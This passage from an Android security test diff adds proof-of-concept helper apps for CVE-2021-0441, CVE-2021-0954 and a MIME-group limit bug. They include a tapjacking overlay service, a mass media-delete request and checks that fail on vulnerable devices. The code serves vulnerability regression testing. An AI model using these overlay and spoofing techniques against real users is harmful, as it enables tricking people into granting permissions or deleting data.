+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ @Override
+ public void onCreate() {
+ Log.d(Constants.LOG_TAG, "onCreate() called");
+ super.onCreate();
+
+ DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics();
+ int scaledWidth = (int) (displayMetrics.widthPixels * 0.9);
+ int scaledHeight = (int) (displayMetrics.heightPixels * 0.9);
+
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.CENTER;
+ mLayoutParams.width = scaledWidth;
+ mLayoutParams.height = scaledHeight;
+ mLayoutParams.x = scaledWidth / 2;
+ mLayoutParams.y = scaledHeight / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ Log.d(Constants.LOG_TAG, "onStartCommand() called");
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ Log.d(Constants.LOG_TAG, "onDestroy() called");
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ if (!Settings.canDrawOverlays(this)) {
+ Log.w(Constants.LOG_TAG, "Cannot show overlay window. Permission denied");
+ }
+
+ mButton = new Button(getApplicationContext());
+ mButton.setText(getResources().getString(R.string.tapjacking_text));
+ mButton.setTag(mButton.getVisibility());
+ mWindowManager.addView(mButton, mLayoutParams);
+
+ new Handler(Looper.myLooper()).postDelayed(this::stopSelf, 60_000);
+ Log.d(Constants.LOG_TAG, "Floating window created");
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp
new file mode 100644
index 0000000..9ac80ac
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp
@@ -0,0 +1,64 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "BUG-237291548",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.appcompat_appcompat",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
+}
+
+android_test_helper_app {
+ name: "BUG-237291548-FAIL-INSTALL",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ manifest: ":BUG-237291548-BAD-MANIFEST",
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.appcompat_appcompat",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
+}
+
+// Modify the manifest file to include more than 500 MIME groups. The resulting
+// test apk generated using this manifest should fail package install since the
+// number of MIME groups is limited to a maximum of 500 per package.
+genrule {
+ name: "BUG-237291548-BAD-MANIFEST",
+ srcs: ["AndroidManifest.xml"],
+ out: ["BadAndroidManifest.xml"],
+ cmd: "awk '/myMimeGroup/{print;for(i=0;i<501;i++){sub(/myMimeGroup[0-9]*/,\"myMimeGroup\"i);print}}1' $(in) > $(out)",
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml
new file mode 100644
index 0000000..cc692b8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.BUG_237291548"
+ android:targetSandboxVersion="2">
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity
+ android:name=".MainActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ <data android:mimeGroup="myMimeGroup" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.BUG_237291548" />
+
+</manifest>
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java
new file mode 100644
index 0000000..e4554aa
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_237291548;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.pm.PackageManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.HashSet;
+import java.util.Set;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private static final String MIME_GROUP = "myMimeGroup";
+
+ PackageManager mPm = getApplicationContext().getPackageManager();
+
+ @Test(expected = IllegalStateException.class)
+ public void testExceedGroupLimit() {
+ Set<String> mimeTypes = mPm.getMimeGroup(MIME_GROUP);
+ assertEquals(mimeTypes.size(), 0);
+ for (int i = 0; i < 500; i++) {
+ mimeTypes.add("MIME" + i);
+ mPm.setMimeGroup(MIME_GROUP, mimeTypes);
+ }
+ mimeTypes = mPm.getMimeGroup(MIME_GROUP);
+ assertEquals(500, mimeTypes.size());
+ mimeTypes.add("ONETOMANYMIME");
+ mPm.setMimeGroup(MIME_GROUP, mimeTypes);
+ }
+
+ @Test(expected = IllegalArgumentException.class)
+ public void testExceedMimeLengthLimit() {
+ Set<String> mimeTypes = new HashSet<>();
+ mimeTypes.add(new String(new char[64]).replace("\0", "MIME"));
+ mPm.setMimeGroup(MIME_GROUP, mimeTypes);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp
new file mode 100644
index 0000000..f07b5cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-0441",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml
new file mode 100644
index 0000000..66451bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0441"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:allowBackup="true"
+ android:label="@string/app_name"
+ android:supportsRtl="true">
+ <activity android:name=".PocActivity" android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0441" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml
new file mode 100644
index 0000000..7460b96
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/drawableview"
+ android:layout_width="match_parent"
+ android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml
new file mode 100644
index 0000000..3496d8a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<resources>
+ <integer name="pictures">200</integer>
+ <integer name="request_code">1</integer>
+ <integer name="wait_time_ms">10000</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml
new file mode 100644
index 0000000..9d8dd1b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="app_name">
+ CVE-2021-0441
+ </string>
+ <string name="ui_id_alert">
+ android:id/alertTitle
+ </string>
+ <string name="ui_id_message">
+ android:id/message
+ </string>
+ <string name="path">
+ content://media/external_primary/images/media/
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java
new file mode 100644
index 0000000..1d9c47b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0441;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+
+import androidx.annotation.IntegerRes;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import java.util.List;
+import java.util.regex.Pattern;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ Context mAppContext;
+
+ int getInteger(@IntegerRes int resId) {
+ return mAppContext.getResources().getInteger(resId);
+ }
+
+ String getString(@IntegerRes int resId) {
+ return mAppContext.getResources().getString(resId);
+ }
+
+ @Test
+ public void testCVE_2021_0441() {
+ try {
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ mAppContext = getApplicationContext();
+ PackageManager packageManager = mAppContext.getPackageManager();
+ String packageName = mAppContext.getPackageName();
+ final Intent intent = packageManager.getLaunchIntentForPackage(packageName);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mAppContext.startActivity(intent);
+
+ // Selecting all visible objects with res-id: android:id/alertTitle
+ Pattern patternAlert = Pattern.compile(getString(R.string.ui_id_alert));
+ BySelector selectorAlert = By.res(patternAlert);
+
+ // Selecting all visible objects with res-id: android:id/message
+ Pattern patternMessage = Pattern.compile(getString(R.string.ui_id_message));
+ BySelector selectorMessage = By.res(patternMessage);
+
+ boolean isAlertTitleVisible =
+ device.wait(Until.hasObject(selectorAlert), getInteger(R.integer.wait_time_ms));
+ boolean isMessageVisible = device.wait(Until.hasObject(selectorMessage),
+ getInteger(R.integer.wait_time_ms));
+ assumeTrue(isAlertTitleVisible || isMessageVisible);
+
+ List<UiObject2> objectsAlertTitle = device.findObjects(selectorAlert);
+ List<UiObject2> objectsMessage = device.findObjects(selectorMessage);
+ assumeFalse(objectsAlertTitle.isEmpty() && objectsMessage.isEmpty());
+
+ if (!objectsAlertTitle.isEmpty() && objectsMessage.isEmpty()) {
+ for (UiObject2 obj : objectsAlertTitle) {
+ String text = obj.getText();
+ if (text == null) {
+ continue;
+ }
+ if (text.contains(getString(R.string.app_name))
+ && text.contains(Integer.toString(getInteger(R.integer.pictures)))) {
+ fail("Vulnerable to b/174495520 !!");
+ }
+ }
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java
new file mode 100644
index 0000000..7c8b8fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0441;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.content.IntentSender;
+import android.net.Uri;
+import android.os.Bundle;
+import android.provider.MediaStore;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ requestDeletePermission(getUriList(getResources().getInteger(R.integer.pictures)));
+ }
+
+ ArrayList<Uri> getUriList(int capacity) {
+ ArrayList<Uri> list = new ArrayList<Uri>();
+ for (int i = 0; i < capacity; ++i) {
+ Uri uri = Uri.parse(getString(R.string.path) + i);
+ list.add(uri);
+ }
+ return list;
+ }
+
+ private void requestDeletePermission(List<Uri> uriList) {
+ PendingIntent pi = MediaStore.createDeleteRequest(getContentResolver(), uriList);
+ try {
+ startIntentSenderForResult(pi.getIntentSender(),
+ getResources().getInteger(R.integer.request_code), null, 0, 0, 0);
+ } catch (IntentSender.SendIntentException e) {
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp
index aa9f71f..59350cf 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -18,10 +18,10 @@
android_test_helper_app {
name: "CVE-2021-0954",
defaults: ["cts_support_defaults"],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java"
+ ],
test_suites: [
- "cts",
- "vts10",
"sts",
],
static_libs: [
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml
index a7e0218..75299c4 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml
@@ -1,5 +1,5 @@
<!--
- Copyright 2021 The Android Open Source Project
+ Copyright 2022 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -13,25 +13,19 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
+
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
- package="android.security.cts.cve_2021_0954"
+ package="android.security.cts.CVE_2021_0954"
android:versionCode="1"
android:versionName="1.0">
-
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-
- <application
- android:allowBackup="true"
- android:label="CVE_2021_0954"
- android:supportsRtl="true">
- <uses-library android:name="android.test.runner" />
+ <application>
<service android:name=".PocService"
android:enabled="true"
- android:exported="false" />
+ android:exported="true" />
</application>
-
<instrumentation
android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.security.cts.cve_2021_0954" />
+ android:targetPackage="android.security.cts.CVE_2021_0954" />
</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/integers.xml
new file mode 100644
index 0000000..363df00
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/integers.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumptionFailure">-1</integer>
+ <integer name="noAssumptionFailure">0</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/strings.xml
new file mode 100644
index 0000000..7c4d959
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/strings.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
+ <string name="cmdDumpsysActivity">dumpsys activity %1$s</string>
+ <string name="empty"></string>
+ <string name="overlayErrorMessage">Device is vulnerable to b/143559931 hence any app with
+ "SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="messageKey">message</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="resultKey">result</string>
+ <string name="sharedPreferences">CVE_2021_0954_prefs</string>
+ <string name="timedOutPocActivity">Timed out waiting on a result from PocActivity</string>
+ <string name="vulClass">com.android.internal.app.ResolverActivity</string>
+ <string name="vulClassAuto">com.android.car.activityresolver.CarResolverActivity</string>
+ <string name="vulPkg">android</string>
+ <string name="vulPkgAuto">com.android.car.activityresolver</string>
+ <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java
index f986906..9a94ef9 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,17 +14,20 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0954;
+package android.security.cts.CVE_2021_0954;
import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assume.assumeNoException;
-import android.content.ActivityNotFoundException;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
import android.content.Context;
import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.pm.PackageManager;
import android.provider.Settings;
import androidx.test.runner.AndroidJUnit4;
@@ -32,90 +35,107 @@
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.Until;
-import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.io.IOException;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
import java.util.regex.Pattern;
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
- private static final String TEST_PKG = "android.security.cts.cve_2021_0954";
- private static final String TEST_VULNERABLE_PKG = "android";
- private static final String TEST_VULNERABLE_ACTIVITY =
- "com.android.internal.app.ResolverActivity";
- private static final int LAUNCH_TIMEOUT_MS = 20000;
- private static final String vulnerableActivityName = "ResolverActivity";
- private UiDevice mDevice;
- String activityDump = "";
+ private Context mContext = getApplicationContext();
+ private static final int TIMEOUT_MS = 10000;
- private void startOverlayService() {
- Context context = getApplicationContext();
- assertNotNull(context);
- Intent intent = new Intent(context, PocService.class);
- assertNotNull(intent);
-
- if (Settings.canDrawOverlays(getApplicationContext())) {
- context.startService(intent);
- } else {
- try {
- context.startService(intent);
- } catch (Exception e) {
- throw new RuntimeException("Unable to start the overlay service", e);
- }
- }
+ private boolean hasFeature(String feature) {
+ return mContext.getPackageManager().hasSystemFeature(feature);
}
- public void startVulnerableActivity() {
- Context context = getApplicationContext();
- Intent intent = new Intent();
- intent.setClassName(TEST_VULNERABLE_PKG, TEST_VULNERABLE_ACTIVITY);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- try {
- context.startActivity(intent);
- } catch (ActivityNotFoundException e) {
- assumeNoException("Activity not found on device", e);
- }
+ private boolean isAuto() {
+ return hasFeature(PackageManager.FEATURE_AUTOMOTIVE);
}
- @Before
- public void setUp() throws Exception {
- mDevice = UiDevice.getInstance(getInstrumentation());
+ String getStringRes(int key) {
+ return mContext.getResources().getString(key);
+ }
- /* Start the vulnerable activity */
- startVulnerableActivity();
- if (!mDevice.wait(Until.hasObject(By.res("android:id/contentPanel")
- .clazz("android.widget.ScrollView").pkg("android")), LAUNCH_TIMEOUT_MS)) {
- return;
- }
+ String getStringResWithArg(int key, String arg) {
+ return mContext.getResources().getString(key, arg);
+ }
- /* Start the overlay service */
- startOverlayService();
+ int getIntegerRes(int key) {
+ return mContext.getResources().getInteger(key);
}
@Test
- public void testVulnerableActivityPresence() {
- Pattern overlayTextPattern = Pattern.compile("OverlayButton", Pattern.CASE_INSENSITIVE);
- if (!mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)) {
- return;
- }
-
- /*
- * Check if the currently running activity is the vulnerable activity, if not abort the test
- */
+ public void testOverlayButtonPresence() {
try {
- activityDump = mDevice.executeShellCommand("dumpsys activity");
- } catch (IOException e) {
- throw new RuntimeException("Could not execute dumpsys activity command");
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+
+ /* Start the overlay service */
+ assumeTrue(getStringRes(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(mContext));
+ Intent intent = new Intent(mContext, PocService.class);
+ mContext.startService(intent);
+
+ /* Wait for a result from overlay service */
+ SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+ getStringRes(R.string.sharedPreferences), Context.MODE_PRIVATE);
+ final Semaphore preferenceChanged = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+ String key) {
